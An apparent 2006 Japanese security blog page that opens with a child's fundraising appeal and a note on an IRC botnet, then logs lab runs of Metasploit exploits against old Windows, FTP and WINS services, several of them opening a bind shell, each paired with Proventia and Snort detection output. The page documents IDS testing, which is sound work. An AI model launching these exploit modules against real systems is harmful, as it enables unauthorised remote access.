つぶやき -25ページ目

【情報】ななみちゃんを救う会

<募金のおねがい>

私の知り合いのエンジニア中山氏の長女「ななみちゃん」に臓器移植が必要です。

2006年2月末に生きている可能性は1%以下と宣告されています。
アメリカでの血液透析/肝臓移植がななみちゃんを救う唯一の手段です。

あと、４０００万円必要です。皆様のご協力をお願いいします。

■公式HPはこちら↓

■ニュース報道
http://www.yomiuri.co.jp/iryou/news/iryou_news/20060113ik06.htm
http://www.sankei.co.jp/news/060113/sha024.htm
http://www.asahi.com/national/update/0113/TKY200601120404.html

以上、皆様のご協力をお願いいします。

【サイバー犯罪事件簿】2006年01月15日

----------------------------
■あまてらす
----------------------------

ここ数年にわたりBotワームは、成長し多機能になり感染範囲を広げている。
Botワームを制御するのに使用されるIRCサーバでは、Topicの機能を利用して訪問者に、

以下のメッセージでコマンド(命令)を読み込ませる。

*** Topic for #-sd-bot: $xscan asn139 

     200 5 0 217.x.x.x -r -s

*** #-sd-bot burt0n 1137203776

*** #-sd-bot 1136645024

'#-sd-bot'のBotクライアント'を制御するのに使用されるチャンネルは、特定の脆弱性を利用する為、特定のIP範囲にスキャンするようにメンバーに命令する標準のコマンドを使用しています。

他方では、万一人間がIRCホストに接続し、そのサーバー上でチャンネルの情報を得る「/list」コマンド実行した場合、次のメッセージが表示されます:

//list

*** Channel    Users  Topic

*** #help      1       IF YOU ARE HERE ITS 

BECAUSE I MIGHT HAVE
INFECTED ONE OF YOUR MACHINES, DONT WORRY 
NOTHING IS GONNA BE HARMED
WITH THE DRONES, FOR FURTHER INFORMATION 
ON REMOVALS PLS VISIT -
WWW . NORTONANTIVIRUSES . COM - 
OR LEAVE A MSG KTHX.

「http://www.nortonantiviruses.com/ 」の所有者が現実にボット・チャンネルに関係しているかどうか知りません。しかし、サイトは合法のシマンテック/ノートンサイトではありません。紹介を集めるその「プレースホールダー」サイトは、whois登録上匿名です。紹介されたサイトは悪意のあるように見えません。これは単に現在のボット・ビジネスの論理的な発展です。任意のビジネスのように、顧客から受け取る収入を最大限にしようとします。それらが感染することを顧客が知り、もっと見つけ出すためにボット・サーバーを訪ねていれば、Botクライアントが駆除され、駆除によって失われた機会損失を補おうとするはずであると考えます。

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。

61.202.106.6	N106006.ppp.dion.ne.jp
218.45.50.188	fla2407-188.wind.ne.jp
218.45.56.85	ptak85.wind.ne.jp
218.45.89.239	218.45.89.239.eo.eaccess.ne.jp
218.45.103.82	bflets-fm-osk-1-82.dsn.jp
218.45.107.198	flets-a-west-12-198.dsn.jp
218.45.109.89	flets-a-west-14-89.dsn.jp
218.45.111.71	flets-a-west-24-71.dsn.jp
218.45.111.172	flets-a-west-24-172.dsn.jp
218.45.111.209	flets-a-west-24-209.dsn.jp
218.45.138.4	u21845138004.hctv.ne.jp
218.45.163.17	k163017.ppp.asahi-net.or.jp
218.45.164.110	k164110.ppp.asahi-net.or.jp
218.45.168.138	k168138.ppp.asahi-net.or.jp
218.45.173.172	k173172.ppp.asahi-net.or.jp
218.45.183.91	k183091.ppp.asahi-net.or.jp
218.115.72.154	softbank218115072154.bbtec.net
218.117.68.65	softbank218117068065.bbtec.net
218.118.96.106	softbank218118096106.bbtec.net
218.120.64.90	softbank218120064090.bbtec.net

【Exploit】rsa_iiswebagent_redirect.pm

■攻撃元

192.168.221.11　W2K

■攻撃対象

192.168.221.180　Win2K+Engish

■影響

対象アプリケーションで検証未

■実証コード

msf rsa_iiswebagent_redirect(win32_bind) > show targets

Supported Exploit Targets
=========================

0 RSA WebAgent 5.2
1 RSA WebAgent 5.3
2 RSA WebAgent 5.2 on Windows 2000 English
3 RSA WebAgent 5.3 on Windows 2000 English
4 RSA WebAgent 5.2 on Windows XP SP0-SP1 English
5 RSA WebAgent 5.3 on Windows XP SP0-SP1 English
6 RSA WebAgent 5.2 on Windows XP SP2 English
7 RSA WebAgent 5.3 on Windows XP SP2 English
8 RSA WebAgent 5.2 on Windows 2003 English SP0
9 RSA WebAgent 5.3 on Windows 2003 English SP0

msf rsa_iiswebagent_redirect(win32_bind) > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
-------- ------ ------------------------ -------------------
optional SSL Use SSL
required URL /WebID/IISWebAgentIF.dll The path to the DLL
required RHOST 192.168.221.180 The target address
required RPORT 80 The target port

Payload: Name Default Description
-------- -------- ------- ------------------------------------------

required EXITFUNC seh Exit technique: "process", "thread", "seh"
required LPORT 4444 Listening port for bind shell

Target: RSA WebAgent 5.2 on Windows 2000 English

msf rsa_iiswebagent_redirect(win32_bind) > exploit
[*] Starting Bind Handler.
[*] Attempting to exploit target RSA WebAgent 5.2 on Windows 2000 English
[*] Sending 8273 bytes to remote host.
[*] Waiting for a response...
[*] Exiting Bind Handler.

■Proveintaでの検知結果

Event Number : 1
Date/Time : 2006-01-15 13:55:14 JST
Tag Name : HTTP_IIS_RSA_WebAgent_BO
Alert Name : HTTP_IIS_RSA_WebAgent_BO
Severity : High
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 192.168.221.180
Target Object Name : 80
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 192.168.221.11
SourcePort Name : 2465
Sensor DNS Name : iss-sp2
Sensor IP Address : 10.4.6.100
Sensor Name : network_sensor_1

Attribute Value Pairs for Event Number : 1
Attribute Name : :accessed
Attribute Value : no
Attribute Name : :arg
Attribute Value : Redirect?url=eHkdblAYOgTvvARpwbCkvoxHkVPslYPTAAHGYAAjAAnhfnAGlilvTHKViIAAfvkPAvCMbEAXApAAyTuAAfBAxjFNJTMfAAVgkHOaUbAtkAbXsDoYCnApTAKHAAajAmCjglXMpAnKAAUKNbgIwAeAfAAAhLAwEGRaWAcsAAjlPWAAAgIJDAONApqfPbqbucdlSeOQAotBJTkyAqFDAdmAUAWKAAPRhUILCkASAAUYicKy
Attribute Name : :code
Attribute Value : 404
Attribute Name : :http-server
Attribute Value : Microsoft-IIS/5.0
Attribute Name : :intruder-ip-addr
Attribute Value : 192.168.221.11
Attribute Name : :intruder-port
Attribute Value : 2465
Attribute Name : :server
Attribute Value : 192.168.221.180:80
Attribute Name : :URL
Attribute Value : /WebID/IISWebAgentIF.dll
Attribute Name : :victim-ip-addr
Attribute Value : 192.168.221.180
Attribute Name : :victim-port
Attribute Value : 80
Attribute Name : algorithm-id
Attribute Value : 2121035
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : LOGEVIDENCE
Attribute Value : Default
Attribute Name : Packet DestinationAddress
Attribute Value : 192.168.221.180
Attribute Name : Packet DestinationPort
Attribute Value : 80
Attribute Name : Packet DestinationPortName
Attribute Value : http
Attribute Name : Packet SourceAddress
Attribute Value : 192.168.221.11
Attribute Name : Packet SourcePort
Attribute Value : 2465

■Snortでの検知結果

01/15-13:54:34.495050 [**] [119:4:1] (http_inspect) BARE BYTE UNICODE ENCODING [**] {TCP} 192.168.221.11:2465 -> 192.168.37.180:80

【Exploit】globalscapeftp_user_input

■実証コード

msf globalscapeftp_user_input(win32_bind) > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
-------- ------ ----------- ------------------
optional SSL Use SSL
required PASS metasploit@ Password
required RHOST The target address
required RPORT 21 The target port
required USER anonymous Username

Payload: Name Default Description
-------- -------- ------- ------------------------------------------

required EXITFUNC thread Exit technique: "process", "thread", "seh"
required LPORT 4444 Listening port for bind shell

Target: GlobalSCAPE Secure FTP Server <= 3.0.2 Universal

msf globalscapeftp_user_input(win32_bind) > exploit
[*] Starting Bind Handler.
[*] Trying GlobalSCAPE Secure FTP Server <= 3.0.2 Universal using return addres
0x1002f01f....
[*] 220 test-7nz5l7tfed Microsoft FTP Service (Version 5.0).
[*] Login as anonymous/metasploit@
[*] Sending evil buffer....
[*] Exiting Bind Handler.

■snortでの検知結果

01/15-13:44:48.151148 [**] [119:4:1] (http_inspect) BARE BYTE UNICODE ENCODING [**] {TCP} 192.168.221.11:2342 -> 192.168.37.180:80
01/15-13:44:50.043350 [**] [122:1:0] (portscan) TCP Portscan [**] {PROTO255} 192.168.221.11 -> 192.168.37.180
01/15-13:48:41.540604 [**] [1:1748:8] FTP command overflow attempt [**] [Classification: Generic Protocol Command Decode] [Priority: 3] {TCP} 192.168.221.11:2347 -> 192.168.37.180:21
01/15-13:48:41.541239 [**] [1:1748:8] FTP command overflow attempt [**] [Classification: Generic Protocol Command Decode] [Priority: 3] {TCP} 192.168.221.11:2347 -> 192.168.37.180:21
01/15-13:48:41.541763 [**] [1:1748:8] FTP command overflow attempt [**] [Classification: Generic Protocol Command Decode] [Priority: 3] {TCP} 192.168.221.11:2347 -> 192.168.37.180:21

【MS】MS04-007　msasn1_ms04_007_killbill

■脆弱性の説明MSMS04-007

http://www.microsoft.com/japan/technet/security/Bulletin/MS04-007.mspx

■攻撃元

192.168.221.11　W2K

■攻撃対象

192.168.221.180　Win2K+Engish　WinXP+Japane

■影響

以下の実証コードでは、攻撃が成功し、対象ホストのPort4444を利用して、

リモートから接続できることを確認しました。

■実証コード

Exploit and Payload Options
===========================

Exploit: Name Default Description
-------- ------ ------- ---------------------------
optional SSL The target service uses SSL
required RHOST The target address
required RPORT 445 The target service port
required PROTO smb Protocol (smb or http)

Payload: Name Default Description
-------- -------- ------- ------------------------------------------

required EXITFUNC thread Exit technique: "process", "thread", "seh"
required LPORT 4444 Listening port for bind shell

Target: Windows 2000 SP2-SP4 + Windows XP SP0-SP1

msf msasn1_ms04_007_killbill(win32_bind) > set RHOST 192.168.221.180
RHOST -> 192.168.221.180

msf msasn1_ms04_007_killbill(win32_bind) > exploit
[*] Starting Bind Handler.
[*] Attempting to exploit target Windows 2000 SP2-SP4 + Windows XP SP0-SP1
[*] Sending SMB negotiate request...
[*] Got connection from 192.168.221.11:1894 <-> 192.168.221.180:4444

C:\WINNT\system32>ipconfig
ipconfig

Windows 2000 IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.37.180
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.37.1

■Proveintaでの検知結果

Event Number : 1
Date/Time : 2006-01-15 12:38:32 JST
Tag Name : ASN1_Constr_BitStr_Heap_Corruption
Alert Name : ASN1_Constr_BitStr_Heap_Corruption
Severity : High
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 192.168.37.180
Target Object Name : 445
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 192.168.221.11
SourcePort Name : 2157
Sensor DNS Name :
Sensor IP Address : 192.168.221.11
Sensor Name : network_sensor_1

Attribute Value Pairs for Event Number : 1
Attribute Name : :intruder-ip-addr
Attribute Value : 192.168.221.11
Attribute Name : :intruder-port
Attribute Value : 2157
Attribute Name : :offset
Attribute Value : 1060
Attribute Name : :protocol
Attribute Value : SMB
Attribute Name : :victim-ip-addr
Attribute Value : 192.168.37.180
Attribute Name : :victim-port
Attribute Value : 445
Attribute Name : algorithm-id
Attribute Value : 2120072
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : Packet DestinationAddress
Attribute Value : 192.168.37.180
Attribute Name : Packet DestinationPort
Attribute Value : 445
Attribute Name : Packet DestinationPortName
Attribute Value : microsoft-ds
Attribute Name : Packet SourceAddress
Attribute Value : 192.168.221.11
Attribute Name : Packet SourcePort
Attribute Value : 2157

■Snort

overflow attempt [**] [Classification: Generic Protocol Command Decode] [Priority: 3] {TCP} 192.168.221.11:2157 -> 192.168.37.180:445
01/15-12:39:59.839951 [**] [1:1917:6] SCAN UPnP service discover attempt [**] [Classification:

overflow attempt [**] [Classification: Generic Protocol Command Decode] [Priority: 3] {TCP} 192.168.221.11:2173 -> 192.168.37.180:445

【Exploit】warftpd_165_user

■攻撃元

192.168.221.11　W2K

■攻撃対象

192.168.221.180　Win2K+Engish　&　WinXP+Japanes

■影響

以下の実証コードでは、攻撃が失敗し、対象ホストのPort4444はオープンしませんでした。

■実証コード

msf warftpd_165_user(win32_bind) > show targets

Supported Exploit Targets
=========================

0 Windows 2000 SP0-SP4 English
1 Windows XP SP0-SP1 English
2 Windows XP SP2 English

msf warftpd_165_user(win32_bind) > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
-------- ------ --------------- ------------------
optional SSL Use SSL
required RHOST 192.168.221.180 The target address
required RPORT 21 The target port

Payload: Name Default Description
-------- -------- ------- ------------------------------------------

required EXITFUNC process Exit technique: "process", "thread", "seh"
required LPORT 4444 Listening port for bind shell

Target: Windows 2000 SP0-SP4 English
msf warftpd_165_user(win32_bind) > exploit
[*] Starting Bind Handler.
[*] Trying Windows 2000 SP0-SP4 English using return address 0x750231e2....
[*] 220 test-7nz5l7tfed Microsoft FTP Service (Version 5.0).
[*] Sending evil buffer....
[*] Exiting Bind Handler.

■Provenitaでの検知結果

Event Number : 1
Date/Time : 2006-01-15 12:17:52 JST
Tag Name : FTP_Login_Overflow
Alert Name : FTP_Login_Overflow
Severity : High
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 192.168.37.180
Target Object Name : 21
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 192.168.221.11
SourcePort Name : 2123
Sensor DNS Name :
Sensor IP Address : 192.168.221.11
Sensor Name : network_sensor_1

Attribute Value Pairs for Event Number : 1
Attribute Name : :cmd
Attribute Value : USER
Attribute Name : :Coalescer_Info
Attribute Value : Update Pending
Attribute Name : :intruder-ip-addr
Attribute Value : 192.168.221.11
Attribute Name : :intruder-port
Attribute Value : 2123
Attribute Name : :length
Attribute Value : 1112
Attribute Name : :pam.login.maxname
Attribute Value : 100
Attribute Name : :user
Attribute Value : ・・・OJ・??/妁K汾剴檳劔OA・NCB汨AGNO・適A羨炉/77泱N?CO・Gw_.qｨ澤_ｻMﾑUｽuゞｽJﾑ・w-ﾝ鰉ﾓ・u錞澑晶・ﾀ謂VV.ﾏ閊4?.ﾉﾔ
Attribute Name : :victim-ip-addr
Attribute Value : 192.168.37.180
Attribute Name : :victim-port
Attribute Value : 21
Attribute Name : algorithm-id
Attribute Value : 2001306
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : Packet DestinationAddress
Attribute Value : 192.168.37.180
Attribute Name : Packet DestinationPort
Attribute Value : 21
Attribute Name : Packet DestinationPortName
Attribute Value : ftp
Attribute Name : Packet SourceAddress
Attribute Value : 192.168.221.11
Attribute Name : Packet SourcePort
Attribute Value : 2123

【Exploit】webstar_ftp_user

■攻撃元

192.168.221.11　W2K

■攻撃対象

N/A

■影響

攻撃対象のMac OS Xがない為、検証できませんでした。

■実証コード

msf webstar_ftp_user(osx_ppc_bind) > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
-------- ------ --------------- -----------------------------------

optional MHOST 192.168.221.11 The address of the attacking system
required RHOST 192.168.221.180 The target address
required RPORT 21 The FTP server port

Payload: Name Default Description
-------- ------ ------- -----------------------------
required LPORT 4444 Listening port for bind shell

Target: Mac OS X 10.3.4-10.3.6

msf webstar_ftp_user(osx_ppc_bind) >

【MS】MS04-011　windows_ssl_pct.pm

■脆弱性の説明MSMS04-011

http://www.microsoft.com/japan/technet/security/Bulletin/MS04-011.mspx

■攻撃元

192.168.221.11　W2K

■攻撃対象

192.168.221.180　Win2K+Engish

■影響

以下の実証コードでは、攻撃が失敗し、対象ホストのPort4444はオープンしませんでした。

■実証コード

msf windows_ssl_pct(win32_bind) > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
-------- ------ --------------- -------------------------------------
-
required RHOST 192.168.221.180 The target address
required RPORT 443 The target port
optional PROTO raw The application protocol (raw or smtp)

Payload: Name Default Description
-------- -------- ------- ------------------------------------------

required EXITFUNC thread Exit technique: "process", "thread", "seh"
required LPORT 4444 Listening port for bind shell

Target: Windows XP SP0

msf windows_ssl_pct(win32_bind) > exploit
[*] Starting Bind Handler.
[*] Attempting to exploit target Windows XP SP0
[*] Error creating socket: Connection failed: Operation now in progress
[*] Exiting Bind Handler.

msf windows_ssl_pct(win32_bind) >

■Provenita(IDS)での検知

Event Number : 1
Date/Time : 2006-01-15 11:56:30 JST
Tag Name : SSL_PCT1_Overflow
Alert Name : SSL_PCT1_Overflow
Severity : High
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 192.168.37.180
Target Object Name : 443
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 192.168.221.11
SourcePort Name : 2082
Sensor DNS Name :
Sensor IP Address : 192.168.221.11
Sensor Name : network_sensor_1

Attribute Value Pairs for Event Number : 1
Attribute Name : :Challenge Length
Attribute Value : 22
Attribute Name : :intruder-ip-addr
Attribute Value : 192.168.221.11
Attribute Name : :intruder-port
Attribute Value : 2082
Attribute Name : :victim-ip-addr
Attribute Value : 192.168.37.180
Attribute Name : :victim-port
Attribute Value : 443
Attribute Name : algorithm-id
Attribute Value : 2113023
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : Packet DestinationAddress
Attribute Value : 192.168.37.180
Attribute Name : Packet DestinationPort
Attribute Value : 443
Attribute Name : Packet DestinationPortName
Attribute Value : https
Attribute Name : Packet SourceAddress
Attribute Value : 192.168.221.11
Attribute Name : Packet SourcePort
Attribute Value : 2082

【MS】MS04-045　wins_ms04_045.pm

■脆弱性の説明MSMS04-045

http://www.microsoft.com/japan/technet/security/Bulletin/MS04-045.mspx

■攻撃元

192.168.221.11　W2K

■攻撃対象

192.168.221.180　Win2K+Engish

■影響

以下の実証コードでは、攻撃が成功し、対象ホストのPort4444がリモートより

接続できることを確認した。

■実証コード
msf wins_ms04_045(win32_bind) > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
-------- ------ ------- ------------------
required RHOST The target address
required RPORT 42 The target port

Payload: Name Default Description
-------- -------- ------- ------------------------------------------

required EXITFUNC process Exit technique: "process", "thread", "seh"
required LPORT 4444 Listening port for bind shell

Target: Windows 2000 English

msf wins_ms04_045(win32_bind) > set RHOST 192.168.221.180
RHOST -> 192.168.221.180

msf wins_ms04_045(win32_bind) > exploit
[*] Starting Bind Handler.
[*] Attempting to overwrite 0x053df4c4 with 0x053922e0 (0x05391f40)
[*] Exiting Bind Handler.

■Proventiaによる検知ログ

Event Number : 1
Date/Time : 2006-01-15 11:44:54 JST
Tag Name : WINS_PointerHijack
Alert Name : WINS_PointerHijack
Severity : High
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 192.168.37.180
Target Object Name : 42
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 192.168.221.11
SourcePort Name : 1855
Sensor DNS Name :
Sensor IP Address : 192.168.221.11
Sensor Name : network_sensor_1

Attribute Value Pairs for Event Number : 1
Attribute Name : :assoc
Attribute Value : 0x5391F40
Attribute Name : :flags
Attribute Value : 0xFF
Attribute Name : :intruder-ip-addr
Attribute Value : 192.168.221.11
Attribute Name : :intruder-port
Attribute Value : 1855
Attribute Name : :length
Attribute Value : 9208
Attribute Name : :msgtype
Attribute Value : 0xE0223905
Attribute Name : :threshold
Attribute Value : 4096
Attribute Name : :victim-ip-addr
Attribute Value : 192.168.37.180
Attribute Name : :victim-port
Attribute Value : 42
Attribute Name : algorithm-id
Attribute Value : 2111036
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : Packet DestinationAddress
Attribute Value : 192.168.37.180
Attribute Name : Packet DestinationPort
Attribute Value : 42
Attribute Name : Packet DestinationPortName
Attribute Value : name
Attribute Name : Packet SourceAddress
Attribute Value : 192.168.221.11
Attribute Name : Packet SourcePort
Attribute Value : 1855

【Exploit】maxdb_webdbm_get_overflow

■概要

■実証コード

msf maxdb_webdbm_get_overflow(win32_bind) > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
-------- ------ --------------- ------------------
required RHOST 192.168.221.180 The target address
required RPORT 9999 The target port

Payload: Name Default Description
-------- -------- ------- ------------------------------------------

required EXITFUNC seh Exit technique: "process", "thread", "seh"
required LPORT 4444 Listening port for bind shell

Target: Windows 2000 English

msf maxdb_webdbm_get_overflow(win32_bind) > exploit
[*] Starting Bind Handler.
[*] Attempting to exploit Windows 2000 English
[*] Error creating socket: Connection failed: Operation now in progress
[*] Exiting Bind Handler.